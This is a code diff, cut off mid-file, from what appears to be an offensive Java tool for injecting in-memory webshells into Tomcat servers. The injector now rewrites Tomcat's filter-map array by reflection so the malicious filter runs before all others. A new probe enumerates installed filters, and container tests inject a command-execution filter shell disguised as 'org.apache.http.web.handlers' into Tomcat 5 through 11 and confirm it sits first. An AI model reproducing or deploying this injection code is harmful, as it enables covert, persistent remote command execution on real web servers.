diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 5bec4d50..497b525f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; +import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -149,15 +150,18 @@ public class TomcatFilterInjector { } Object filterDef; Object filterMap; + Class filterMapClass; ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tomcat v8+ filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); } catch (Exception e2) { // tomcat v5+ filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); + filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); + filterMap = filterMapClass.newInstance(); } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -175,11 +179,17 @@ public class TomcatFilterInjector { // tomcat v5 invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); } + + // addFilterMapFirst + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null); + Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1); + results[0] = filterMap; + System.arraycopy(filterMaps, 0, results, 1, filterMaps.length); try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + // Tomcat5 + setFieldValue(context, "filterMaps", results); } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + setFieldValue(getFieldValue(context, "filterMaps"), "array", results); } Constructor filterConfigConstructor; @@ -265,6 +275,22 @@ public class TomcatFilterInjector { throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } + @SuppressWarnings("all") + public static void setFieldValue(Object obj, String name, Object value) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + return; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + @SuppressWarnings("all") private String getErrorMessage(Throwable throwable) { PrintStream printStream = null; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java new file mode 100644 index 00000000..468c272e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java @@ -0,0 +1,344 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class TomcatFilterProbe { + + @Override + public String toString() { + String msg = ""; + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found\n"; + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } + msg += formatFiltersData(allFiltersData); + } + return msg; + } + + @SuppressWarnings("all") + private List> collectFiltersData(Object context) { + List> filtersList = new ArrayList>(); + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null); + if (filterMaps == null || filterMaps.length == 0) { + return filtersList; + } + Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs", null, null); + Map filterConfigs = null; + try { + filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + } catch (Exception ignored) { + } + Map filterDefMap = new HashMap(); + if (filterDefs != null) { + for (Object filterDef : filterDefs) { + String filterName = (String) invokeMethod(filterDef, "getFilterName", null, null); + if (filterName != null) { + filterDefMap.put(filterName, filterDef); + } + } + } + Set processedFilters = new HashSet(); + for (Object filterMap : filterMaps) { + String filterName = (String) invokeMethod(filterMap, "getFilterName", null, null); + if (filterName == null || processedFilters.contains(filterName)) { + continue; + } + processedFilters.add(filterName); + + Map filterInfo = new LinkedHashMap(); + filterInfo.put("filterName", filterName); + String filterClass = null; + Object filterDef = filterDefMap.get(filterName); + if (filterDef != null) { + try { + filterClass = (String) invokeMethod(filterDef, "getFilterClass", null, null); + } catch (Exception e) { + try { + Object clazz = invokeMethod(filterDef, "getFilterClass", null, null); + if (clazz instanceof Class) { + filterClass = ((Class) clazz).getName(); + } + } catch (Exception ignored) { + } + } + } + if (filterClass == null || filterClass.isEmpty() || filterClass.equals("N/A")) { + try { + if (filterConfigs != null) { + Object filterConfig = filterConfigs.get(filterName); + if (filterConfig != null) { + Object filter = invokeMethod(filterConfig, "getFilter", null, null); + if (filter != null) { + filterClass = filter.getClass().getName(); + } + } + } + } catch (Exception ignored) { + } + } + + filterInfo.put("filterClass", filterClass != null ? filterClass : "N/A"); + + List urlPatternsList = new ArrayList(); + List servletNamesList = new ArrayList(); + + for (Object fm : filterMaps) { + String mappingFilterName = (String) invokeMethod(fm, "getFilterName", null, null); + if (filterName.equals(mappingFilterName)) { + String[] urlPatterns = null; + try { + urlPatterns = (String[]) invokeMethod(fm, "getURLPatterns", null, null); + } catch (Exception e) { + try { + Object urlPattern = getFieldValue(fm, "urlPattern"); + if (urlPattern instanceof String) { + urlPatterns = new String[] { (String) urlPattern }; + } + } catch (Exception ignored) { + } + } + if (urlPatterns != null && urlPatterns.length > 0) { + for (String pattern : urlPatterns) { + urlPatternsList.add(pattern); + } + } + + String[] servletNames = null; + try { + servletNames = (String[]) invokeMethod(fm, "getServletNames", null, null); + } catch (Exception e) { + try { + Object servletName = getFieldValue(fm, "servletName"); + if (servletName instanceof String) { + servletNames = new String[] { (String) servletName }; + } + } catch (Exception ignored) { + } + } + if (servletNames != null && servletNames.length > 0) { + for (String servletName : servletNames) { + servletNamesList.add(servletName); + } + } + } + } + + if (!urlPatternsList.isEmpty()) { + StringBuilder patterns = new StringBuilder(); + for (int j = 0; j < urlPatternsList.size(); j++) { + patterns.append(urlPatternsList.get(j)); + if (j < urlPatternsList.size() - 1) { + patterns.append(", "); + } + } + filterInfo.put("urlPatterns", patterns.toString()); + } + + if (!servletNamesList.isEmpty()) { + StringBuilder servletNames = new StringBuilder(); + for (int j = 0; j < servletNamesList.size(); j++) { + servletNames.append(servletNamesList.get(j)); + if (j < servletNamesList.size() - 1) { + servletNames.append(", "); + } + } + filterInfo.put("servletNames", servletNames.toString()); + } + + filtersList.add(filterInfo); + } + + return filtersList; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String contextRoot = entry.getKey(); + List> filters = entry.getValue(); + + output.append("Context: ").append(contextRoot).append("\n"); + + if (filters.isEmpty()) { + output.append("No filters found\n"); + continue; + } + + if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + continue; + } + + for (Map filterInfo : filters) { + String filterName = filterInfo.get("filterName"); + String filterClass = filterInfo.get("filterClass"); + String urlPatterns = filterInfo.get("urlPatterns"); + String servletNames = filterInfo.get("servletNames"); + + if (filterName != null) { + output.append(filterName); + } + if (filterClass != null) { + output.append(" -> ").append(filterClass); + } + + if (urlPatterns != null && !urlPatterns.isEmpty()) { + output.append(" -> URL:[").append(urlPatterns).append("]"); + } + + if (servletNames != null && !servletNames.isEmpty()) { + output.append(" -> Servlet:[").append(servletNames).append("]"); + } + + output.append("\n"); + } + } + + return output.toString(); + } + + @SuppressWarnings("all") + private static String repeatString(String str, int count) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < count; i++) { + sb.append(str); + } + return sb.toString(); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, + null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * org.apache.catalina.core.StandardContext + * /usr/local/tomcat/server/lib/catalina.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index a86830c1..06ff4f49 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -43,28 +43,32 @@ public class ContainerTool { public static String getUrl(GenericContainer container) { int port = container.getMappedPort(8080); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } public static String getUrlFromSpringBoot(GenericContainer container) { int port = container.getMappedPort(8080); - String url = "http://127.0.0.1:" + port; + String host = container.getHost(); + String url = "http://" + host + ":" + port; log.info("container started, app url is : {}", url); return url; } public static String getUrlFromWebLogic(GenericContainer container) { int port = container.getMappedPort(7001); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } public static String getUrlFromWAS(GenericContainer container) { int port = container.getMappedPort(9080); - String url = "http://127.0.0.1:" + port + "/app"; + String host = container.getHost(); + String url = "http://" + host + ":" + port + "/app"; log.info("container started, app url is : {}", url); return url; } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 15fecc88..887188ed 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -11,6 +11,9 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig; import lombok.SneakyThrows; import okhttp3.*; +import java.util.ArrayList; +import java.util.List; + import static org.hamcrest.CoreMatchers.anyOf; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.MatcherAssert.assertThat; @@ -141,4 +144,41 @@ public class ProbeAssertion { )); } } + + public static List getFiltersForContext(String probeData, String contextPath) { + List filters = new ArrayList<>(); + String[] lines = probeData.split("\n"); + boolean inTargetContext = false; + + for (String line : lines) { + line = line.trim(); + + if (line.startsWith("Context:")) { + inTargetContext = line.contains("(" + contextPath + ")"); + } else if (inTargetContext) { + if (line.isEmpty() || line.startsWith("Context:")) { + break; + } + if (line.equals("No filters found")) { + break; + } + if (line.contains(" -> ")) { + filters.add(line); + } + } + } + + return filters; + } + + public static String extractFilterName(String filterLine) { + if (filterLine == null || filterLine.isEmpty()) { + return ""; + } + int arrowIndex = filterLine.indexOf(" ->"); + if (arrowIndex > 0) { + return filterLine.substring(0, arrowIndex).trim(); + } + return filterLine.trim(); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index ea033a9b..1b1709c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; @@ -33,4 +34,8 @@ public class DetectionTool { public static String getServerDetection() { return getBase64Class(ServerProbe.class); } + + public static String getTomcatFilterProbe() { + return getBase64Class(TomcatFilterProbe.class); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java index f38ff6b8..218a1d63 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -4,10 +4,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +42,12 @@ public class Tomcat10ContainerTest { .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -76,4 +90,24 @@ public class Tomcat10ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java index d17313dd..61bfcf6a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +77,24 @@ public class Tomcat11ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java index 099c2d4e..df1557eb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -71,4 +78,24 @@ public class Tomcat11JRE21ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java index ec3cf5b5..b642d10b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -84,4 +91,24 @@ public class Tomcat5ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java index 965bf871..768b4c9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.Test; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +83,24 @@ public class Tomcat6ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java index c9af42ce..b7ba97b6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -4,11 +4,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; import org.junit.jupiter.api.Test; import org.junitpioneer.jupiter.RetryingTest; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -78,4 +85,24 @@ public class Tomcat7ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java index 04acb8e9..2ecf2354 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -4,10 +4,13 @@ import com.reajason.javaweb.Server; import 